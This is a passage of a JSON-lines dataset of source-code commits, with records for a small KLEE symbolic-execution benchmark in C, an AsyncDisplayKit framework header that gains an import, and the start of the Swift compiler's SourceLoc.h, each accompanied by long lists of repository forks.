/android_external_chromium_org_third_party_skia,pcwalton\/skia,pcwalton\/skia,geekboxzone\/lollipop_external_skia,YUPlayGodDev\/platform_external_skia,nox\/skia,mydongistiny\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,Android-AOSP\/external_skia,Igalia\/skia,vanish87\/skia,Omegaphora\/external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,timduru\/platform-external-skia,Purity-Lollipop\/platform_external_skia,YUPlayGodDev\/platform_external_skia,TeamEOS\/external_skia,Hybrid-Rom\/external_skia,Fusion-Rom\/android_external_skia,AsteroidOS\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,HealthyHoney\/temasek_SKIA,geekboxzone\/lollipop_external_skia,xzzz9097\/android_external_skia,pacerom\/external_skia,nfxosp\/platform_external_skia,F-AOSP\/platform_external_skia,zhaochengw\/platform_external_skia,Samsung\/skia,sombree\/android_external_skia,rubenvb\/skia,sombree\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,VRToxin-AOSP\/android_external_skia,aosp-mirror\/platform_external_skia,nfxosp\/platform_external_skia,boulzordev\/android_external_skia,MinimalOS\/android_external_skia,invisiblek\/android_external_skia,amyvmiwei\/skia,MinimalOS\/external_skia,qrealka\/skia-hc,MarshedOut\/android_external_skia,byterom\/android_external_skia,jtg-gg\/skia,Hybrid-Rom\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,todotodoo\/skia,MinimalOS\/android_external_skia,F-AOSP\/platform_external_skia,AOSPB\/external_skia,MIPS\/external-chromium_org-third_party-skia,Hikari-no-Tenshi\/android_external_skia,TeamBliss-LP\/android_external_skia,Igalia\/skia,samuelig\/skia,Infinitive-OS\/platform_external_skia,UBERMALLOW\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,SlimSaber\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,FusionSP\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,InfinitiveOS\/external_skia,ominux\/skia,UBERMALLOW\/external_skia,VentureROM-L\/android_external_skia,vvuk\/skia,vanish87\/skia,scroggo\/skia,TeamTwisted\/external_skia,suyouxin\/android_external_skia,OneRom\/external_skia,Purity-Lollipop\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,nvoron23\/skia,GladeRom\/android_external_skia,mmatyas\/skia,AOSPA-L\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,MarshedOut\/android_external_skia,wildermason\/external_skia,codeaurora-unoffical\/platform-external-skia,BrokenROM\/external_skia,wildermason\/external_skia,MinimalOS\/android_external_skia,ominux\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,samuelig\/skia,MinimalOS\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,ctiao\/platform-external-skia,pcwalton\/skia,Tesla-Redux\/android_external_skia,nfxosp\/platform_external_skia,tmpvar\/skia.cc,vvuk\/skia,zhaochengw\/platform_external_skia,sombree\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,HalCanary\/skia-hc,mozilla-b2g\/external_skia,fire855\/android_external_skia,NamelessRom\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,OptiPop\/external_skia,Jichao\/skia,mozilla-b2g\/external_skia,mmatyas\/skia,MinimalOS\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,chenlian2015\/skia_from_google,MinimalOS\/android_external_chromium_org_third_party_skia,google\/skia,Omegaphora\/external_chromium_org_third_party_skia,timduru\/platform-external-skia,Omegaphora\/external_skia,timduru\/platform-external-skia,RadonX-ROM\/external_skia,tmpvar\/skia.cc,mozilla-b2g\/external_skia,mydongistiny\/android_external_skia,Infinitive-OS\/platform_external_skia,OptiPop\/external_skia,MinimalOS-AOSP\/platform_external_skia,YUPlayGodDev\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,geekboxzone\/mmallow_external_skia,vanish87\/skia,invisiblek\/android_external_skia,todotodoo\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,Infinitive-OS\/platform_external_skia,VentureROM-L\/android_external_skia,OptiPop\/external_skia,UBERMALLOW\/external_skia,jtg-gg\/skia,wildermason\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,todotodoo\/skia,AsteroidOS\/android_external_skia,Samsung\/skia,rubenvb\/skia,AOSPA-L\/android_external_skia,invisiblek\/android_external_skia,Hybrid-Rom\/external_skia,TeamTwisted\/external_skia,scroggo\/skia,OneRom\/external_skia,Euphoria-OS-Legacy\/android_external_skia,DesolationStaging\/android_external_skia,Samsung\/skia,Omegaphora\/external_chromium_org_third_party_skia,qrealka\/skia-hc,nvoron23\/skia,larsbergstrom\/skia,mmatyas\/skia,FusionSP\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,xzzz9097\/android_external_skia,InfinitiveOS\/external_skia,Khaon\/android_external_skia,geekboxzone\/mmallow_external_skia,YUPlayGodDev\/platform_external_skia,MarshedOut\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Khaon\/android_external_skia,temasek\/android_external_skia,shahrzadmn\/skia,xzzz9097\/android_external_skia,pcwalton\/skia,Euphoria-OS-Legacy\/android_external_skia,android-ia\/platform_external_skia,Khaon\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,vvuk\/skia,fire855\/android_external_skia,amyvmiwei\/skia,geekboxzone\/lollipop_external_skia,pcwalton\/skia,BrokenROM\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,Android-AOSP\/external_skia,AOSPU\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,google\/skia,PAC-ROM\/android_external_skia,PAC-ROM\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,invisiblek\/android_external_skia,w3nd1go\/android_external_skia,TeslaOS\/android_external_skia,FusionSP\/android_external_skia,AOSP-YU\/platform_external_skia,xzzz9097\/android_external_skia,Infusion-OS\/android_external_skia,timduru\/platform-external-skia,MinimalOS\/android_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,HalCanary\/skia-hc,xin3liang\/platform_external_chromium_org_third_party_skia,wildermason\/external_skia,sigysmund\/platform_external_skia,Omegaphora\/external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,F-AOSP\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,boulzordev\/android_external_skia,codeaurora-unoffical\/platform-external-skia,google\/skia,mydongistiny\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,ctiao\/platform-external-skia,MinimalOS-AOSP\/platform_external_skia,android-ia\/platform_external_skia,vanish87\/skia,AOSP-YU\/platform_external_skia,TeamExodus\/external_skia,UBERMALLOW\/external_skia,FusionSP\/android_external_skia,vvuk\/skia,temasek\/android_external_skia,houst0nn\/external_skia,ominux\/skia,ench0\/external_skia,OneRom\/external_skia,pacerom\/external_skia,zhaochengw\/platform_external_skia,OneRom\/external_skia,byterom\/android_external_skia,sudosurootdev\/external_skia,sombree\/android_external_skia,spezi77\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,google\/skia,mozilla-b2g\/external_skia,mmatyas\/skia,FusionSP\/external_chromium_org_third_party_skia,AOSPB\/external_skia,Plain-Andy\/android_platform_external_skia,VRToxin-AOSP\/android_external_skia,aosp-mirror\/platform_external_skia,vanish87\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,pacerom\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,nox\/skia,byterom\/android_external_skia,TeslaProject\/external_skia,InfinitiveOS\/external_skia,geekboxzone\/lollipop_external_skia,codeaurora-unoffical\/platform-external-skia,YUPlayGodDev\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,Fusion-Rom\/android_external_skia,akiss77\/skia,ctiao\/platform-external-skia,vvuk\/skia,larsbergstrom\/skia,GladeRom\/android_external_skia,PAC-ROM\/android_external_skia,MonkeyZZZZ\/platform_external_skia,mozilla-b2g\/external_skia,Infusion-OS\/android_external_skia,chenlian2015\/skia_from_google,MinimalOS-AOSP\/platform_external_skia,android-ia\/platform_external_skia,Tesla-Redux\/android_external_skia,AOSPB\/external_skia,MonkeyZZZZ\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,TeslaProject\/external_skia,OptiPop\/external_chromium_org_third_party_skia,GladeRom\/android_external_skia,nvoron23\/skia,Omegaphora\/external_skia,GladeRom\/android_external_skia,AOSPB\/external_skia,aosp-mirror\/platform_external_skia,NamelessRom\/android_external_skia,AOSPB\/external_skia,mozilla-b2g\/external_skia,pcwalton\/skia,vvuk\/skia,nox\/skia,SlimSaber\/android_external_skia,F-AOSP\/platform_external_skia,OptiPop\/external_skia,shahrzadmn\/skia,nvoron23\/skia,Pure-Aosp\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,AOSPB\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Omegaphora\/external_skia,AOSP-YU\/platform_external_skia,UBERMALLOW\/external_skia,Khaon\/android_external_skia,NamelessRom\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,akiss77\/skia,mmatyas\/skia,Igalia\/skia,nfxosp\/platform_external_skia,Jichao\/skia,FusionSP\/android_external_skia,jtg-gg\/skia,DesolationStaging\/android_external_skia,Asteroid-Project\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,SlimSaber\/android_external_skia,nfxosp\/platform_external_skia,DiamondLovesYou\/skia-sys,OptiPop\/external_skia,TeamTwisted\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,scroggo\/skia,zhaochengw\/platform_external_skia,zhaochengw\/platform_external_skia,Infusion-OS\/android_external_skia,noselhq\/skia,TeslaOS\/android_external_skia,F-AOSP\/platform_external_skia,nvoron23\/skia,VentureROM-L\/android_external_skia,temasek\/android_external_skia,AOSP-YU\/platform_external_skia,aospo\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,rubenvb\/skia,TeamTwisted\/external_skia,Infinitive-OS\/platform_external_skia,mozilla-b2g\/external_skia,jtg-gg\/skia,TeamExodus\/external_skia,sudosurootdev\/external_skia,ench0\/external_skia,scroggo\/skia,geekboxzone\/mmallow_external_skia,AOSPA-L\/android_external_skia,Asteroid-Project\/android_external_skia,Khaon\/android_external_skia,Plain-Andy\/android_platform_external_skia,Infinitive-OS\/platform_external_skia,GladeRom\/android_external_skia,HalCanary\/skia-hc,MinimalOS-AOSP\/platform_external_skia,mmatyas\/skia,Plain-Andy\/android_platform_external_skia,Omegaphora\/external_skia,AsteroidOS\/android_external_skia,noselhq\/skia,AOSPU\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,MinimalOS\/external_skia,FusionSP\/android_external_skia"}
{"commit":"47991cacdb0e8951ff7d14c1c91c2bed4248ba32","old_file":"benchmarks\/c\/examples\/simple_branch\/main.c","new_file":"benchmarks\/c\/examples\/simple_branch\/main.c","old_contents":"#ifdef KLEE\n#include \"klee\/klee.h\"\n#endif\n#include <assert.h>\n#include <stdio.h>\n\nint main() {\n  int a;\n#ifdef KLEE\n  klee_make_symbolic(&a, sizeof(a), \"a\");\n#endif\n\n  if (a == 0) {\n    printf(\"a is zero\\n\");\n#ifdef BUG\n    assert(0);\n#endif\n  } else {\n    printf(\"a is non-zero\\n\");\n  }\n  return 0;\n}\n","new_contents":"#ifdef KLEE\n#include \"klee\/klee.h\"\n#endif\n#include <assert.h>\n#include <stdio.h>\n\nint main() {\n  int a = 0;\n#ifdef KLEE\n  klee_make_symbolic(&a, sizeof(a), \"a\");\n#endif\n\n  if (a == 0) {\n    printf(\"a is zero\\n\");\n#ifdef BUG\n    assert(0);\n#endif\n  } else {\n    printf(\"a is non-zero\\n\");\n  }\n  return 0;\n}\n","subject":"Fix assignment in concrete case for example benchmark so that bug should be deterministic.","message":"Fix assignment in concrete case for example benchmark so that\nbug should be deterministic.\n","lang":"C","license":"bsd-3-clause","repos":"delcypher\/fp-bench,delcypher\/fp-bench,delcypher\/fp-bench"}
{"commit":"9cf71828ad696271568d0255138adf82383a9adc","old_file":"AsyncDisplayKit\/AsyncDisplayKit.h","new_file":"AsyncDisplayKit\/AsyncDisplayKit.h","old_contents":"\/* Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <AsyncDisplayKit\/ASDisplayNode.h>\n#import <AsyncDisplayKit\/ASDisplayNodeExtras.h>\n\n#import <AsyncDisplayKit\/ASControlNode.h>\n#import <AsyncDisplayKit\/ASImageNode.h>\n#import <AsyncDisplayKit\/ASTextNode.h>\n\n#import <AsyncDisplayKit\/ASBasicImageDownloader.h>\n#import <AsyncDisplayKit\/ASMultiplexImageNode.h>\n#import <AsyncDisplayKit\/ASNetworkImageNode.h>\n\n#import <AsyncDisplayKit\/ASTableView.h>\n#import <AsyncDisplayKit\/ASCollectionView.h>\n#import <AsyncDisplayKit\/ASCellNode.h>\n","new_contents":"\/* Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <AsyncDisplayKit\/ASDisplayNode.h>\n#import <AsyncDisplayKit\/ASDisplayNodeExtras.h>\n\n#import <AsyncDisplayKit\/ASControlNode.h>\n#import <AsyncDisplayKit\/ASImageNode.h>\n#import <AsyncDisplayKit\/ASTextNode.h>\n\n#import <AsyncDisplayKit\/ASEditableTextNode.h>\n\n#import <AsyncDisplayKit\/ASBasicImageDownloader.h>\n#import <AsyncDisplayKit\/ASMultiplexImageNode.h>\n#import <AsyncDisplayKit\/ASNetworkImageNode.h>\n\n#import <AsyncDisplayKit\/ASTableView.h>\n#import <AsyncDisplayKit\/ASCollectionView.h>\n#import <AsyncDisplayKit\/ASCellNode.h>\n","subject":"Include ASEditableTextNode in framework header.","message":"Include ASEditableTextNode in framework header.\n","lang":"C","license":"bsd-3-clause","repos":"mtxs007\/AsyncDisplayKit,meitianapp\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,steveram\/AsyncDisplayKit,ppamorim\/AsyncDisplayKit,wangjiangwen\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,kesiking\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,sabby3861\/AsyncDisplayKit,supriyantomaftuh\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,skullacy\/AsyncDisplayKit,PodsMakleso6\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,levi\/AsyncDisplayKit,kesiking\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,k1ok3n\/AsyncDisplayKit,frankenthumbs\/AsyncDisplayKit,Cen92\/AsyncDisplayKit,wangjiangwen\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,KacheFlowe\/AsyncDisplayKit,TheoJL\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,adamdahan\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,treejames\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,benzguo\/AsyncDisplayKit,meitianapp\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,hejunbinlan\/AsyncDisplayKit,200895045\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,skullacy\/AsyncDisplayKit,dvan001\/AsyncDisplayKit,maicki\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,rmls\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,zeitgeist7\/AsyncDisplayKit,levi\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,KacheFlowe\/AsyncDisplayKit,codepython\/AsyncDisplayKit,DanielAsher\/AsyncDisplayKit,zeyang101909\/AsyncDisplayKit,donpark\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,michaelvillar\/AsyncDisplayKit,zeitgeist7\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,jflinter\/AsyncDisplayKit,angi2\/AsyncDisplayKit,pytouzain\/AsyncDisplayKit,treejames\/AsyncDisplayKit,treejames\/AsyncDisplayKit,tharhtet\/AsyncDisplayKit,eeeyes\/AsyncDisplayKit,hejunbinlan\/AsyncDisplayKit,grgcombs\/AsyncDisplayKit,DanielAsher\/AsyncDisplayKit,donpark\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,jflinter\/AsyncDisplayKit,zeyang101909\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,xujim\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,zdw19840929\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,KacheFlowe\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,zdw19840929\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,21451061\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,maicki\/AsyncDisplayKit,michaelvillar\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,KacheFlowe\/AsyncDisplayKit,zhangyabinzyb\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,levi\/AsyncDisplayKit,yangyangluoluo\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,TheoJL\/AsyncDisplayKit,zdw19840929\/AsyncDisplayKit,owenwuef\/AsyncDisplayKit,k1ok3n\/AsyncDisplayKit,rmls\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,meitianapp\/AsyncDisplayKit,ERussel\/AsyncDisplayKit,todotodoo\/AsyncDisplayKit,hejunbinlan\/AsyncDisplayKit,meitianapp\/AsyncDisplayKit,zdw19840929\/AsyncDisplayKit,hbucius\/AsyncDisplayKit,todotodoo\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,harryworld\/AsyncDisplayKit,benzguo\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,msdgwzhy6\/AsyncDisplayKit,angi2\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,yangyangluoluo\/AsyncDisplayKit,yangyangluoluo\/AsyncDisplayKit,PodsMakleso6\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,grgcombs\/AsyncDisplayKit,donpark\/AsyncDisplayKit,levi\/AsyncDisplayKit,supriyantomaftuh\/AsyncDisplayKit,benzguo\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,k1ok3n\/AsyncDisplayKit,Cen92\/AsyncDisplayKit,programming086\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,zhangyabinzyb\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,supriyantomaftuh\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,200895045\/AsyncDisplayKit,michaelvillar\/AsyncDisplayKit,treejames\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,NghiaTranUIT\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,todotodoo\/AsyncDisplayKit,programming086\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,dvan001\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,maicki\/AsyncDisplayKit,wangjiangwen\/AsyncDisplayKit,Cen92\/AsyncDisplayKit,angi2\/AsyncDisplayKit,21451061\/AsyncDisplayKit,kesiking\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,NghiaTranUIT\/AsyncDisplayKit,levi\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,21451061\/AsyncDisplayKit,donpark\/AsyncDisplayKit,NghiaTranUIT\/AsyncDisplayKit,200895045\/AsyncDisplayKit,zeitgeist7\/AsyncDisplayKit,frankenthumbs\/AsyncDisplayKit,ppamorim\/AsyncDisplayKit,ppamorim\/AsyncDisplayKit,steveram\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,dvan001\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,adamdahan\/AsyncDisplayKit,angi2\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,frankenthumbs\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,eeeyes\/AsyncDisplayKit,hbucius\/AsyncDisplayKit,maicki\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,skullacy\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,codepython\/AsyncDisplayKit,zeyang101909\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,benzguo\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,jflinter\/AsyncDisplayKit,adamdahan\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,wangjiangwen\/AsyncDisplayKit,jflinter\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,tharhtet\/AsyncDisplayKit,facebook\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,msdgwzhy6\/AsyncDisplayKit,msdgwzhy6\/AsyncDisplayKit,zeitgeist7\/AsyncDisplayKit,pytouzain\/AsyncDisplayKit,steveram\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,ERussel\/AsyncDisplayKit,donpark\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,21451061\/AsyncDisplayKit,grgcombs\/AsyncDisplayKit,hbucius\/AsyncDisplayKit,ppamorim\/AsyncDisplayKit,maicki\/AsyncDisplayKit,xujim\/AsyncDisplayKit,k1ok3n\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,skullacy\/AsyncDisplayKit,sabby3861\/AsyncDisplayKit,grgcombs\/AsyncDisplayKit,todotodoo\/AsyncDisplayKit,treejames\/AsyncDisplayKit,adamdahan\/AsyncDisplayKit,codepython\/AsyncDisplayKit,tharhtet\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,TheoJL\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,skullacy\/AsyncDisplayKit,yangyangluoluo\/AsyncDisplayKit,zhangyabinzyb\/AsyncDisplayKit,facebook\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,programming086\/AsyncDisplayKit,zhangyabinzyb\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,michaelvillar\/AsyncDisplayKit,TheoJL\/AsyncDisplayKit,rmls\/AsyncDisplayKit,programming086\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,Cen92\/AsyncDisplayKit,DanielAsher\/AsyncDisplayKit,NghiaTranUIT\/AsyncDisplayKit,owenwuef\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,ERussel\/AsyncDisplayKit,msdgwzhy6\/AsyncDisplayKit,mtxs007\/AsyncDisplayKit,programming086\/AsyncDisplayKit,kesiking\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,dvan001\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,zeyang101909\/AsyncDisplayKit,facebook\/AsyncDisplayKit,200895045\/AsyncDisplayKit,pytouzain\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,zeyang101909\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,hejunbinlan\/AsyncDisplayKit,eeeyes\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,NghiaTranUIT\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,steveram\/AsyncDisplayKit,xujim\/AsyncDisplayKit,KacheFlowe\/AsyncDisplayKit,pytouzain\/AsyncDisplayKit,rmls\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,mtxs007\/AsyncDisplayKit,michaelvillar\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,DanielAsher\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,frankenthumbs\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,hbucius\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,yangyangluoluo\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,sabby3861\/AsyncDisplayKit,zdw19840929\/AsyncDisplayKit,PodsMakleso6\/AsyncDisplayKit,mtxs007\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,angi2\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,zeitgeist7\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,DanielAsher\/AsyncDisplayKit,tharhtet\/AsyncDisplayKit,k1ok3n\/AsyncDisplayKit,eeeyes\/AsyncDisplayKit,supriyantomaftuh\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,xujim\/AsyncDisplayKit,PodsMakleso6\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,codepython\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,xujim\/AsyncDisplayKit,facebook\/AsyncDisplayKit,owenwuef\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,ERussel\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,sabby3861\/AsyncDisplayKit,owenwuef\/AsyncDisplayKit,rmls\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,frankenthumbs\/AsyncDisplayKit,PodsMakleso6\/AsyncDisplayKit,flovouin\/AsyncDisplayKit"}
{"commit":"3ec9a9720ad2808012da7cb61c61300a45c5d5cc","old_file":"include\/swift\/Basic\/SourceLoc.h","new_file":"include\/swift\/Basic\/SourceLoc.h","old_contents":"","new_contents":"\/\/===- SourceLoc.h - Source Locations and Ranges ----------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines types used to reason about source locations and ranges.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_SOURCELOC_H\n#define SWIFT_SOURCELOC_H\n\n#include \"swift\/AST\/LLVM.h\"\n#include \"llvm\/Support\/SMLoc.h\"\n\nnamespace swift {\n\n\/\/\/ SourceLoc in swift is just an SMLoc.  We define it as a different type\n\/\/\/ (instead of as a typedef) just to remove the \"getFromPointer\" methods and\n\/\/\/ enforce purity in the Swift codebase.\nclass SourceLoc {\npublic:\n  llvm::SMLoc Value;\n  \n  SourceLoc() {}\n  explicit SourceLoc(llvm::SMLoc Value) : Value(Value) {}\n  \n  bool isValid() const { return Value.isValid(); }\n  \n  bool operator==(const SourceLoc &RHS) const { return RHS.Value == Value; }\n  bool operator!=(const SourceLoc &RHS) const { return RHS.Value != Value; }\n  \n  \/\/\/ getAdvanced - Return a source location advanced a specified number of\n  \/\/\/ characters.\n  SourceLoc getAdvancedLoc(unsigned NumCharacters) const {\n    assert(isValid() && \"Can't advance an invalid location\");\n    return SourceLoc(llvm::SMLoc::getFromPointer(Value.getPointer() +\n                                                 NumCharacters));\n  }\n};\n\n\/\/\/ SourceRange in swift is a pair of locations.  However, note that the end\n\/\/\/ location is the start of the last token in the range, not the last character\n\/\/\/ in the range.  This is unlike SMRange, so we use a distinct type to make\n\/\/\/ sure that proper conversions happen where important.\nclass SourceRange {\npublic:\n  SourceLoc Start, End;\n\n  SourceRange() {}\n  SourceRange(SourceLoc Start, SourceLoc End) : Start(Start), End(End) {\n    assert(Start.isValid() == End.isValid() 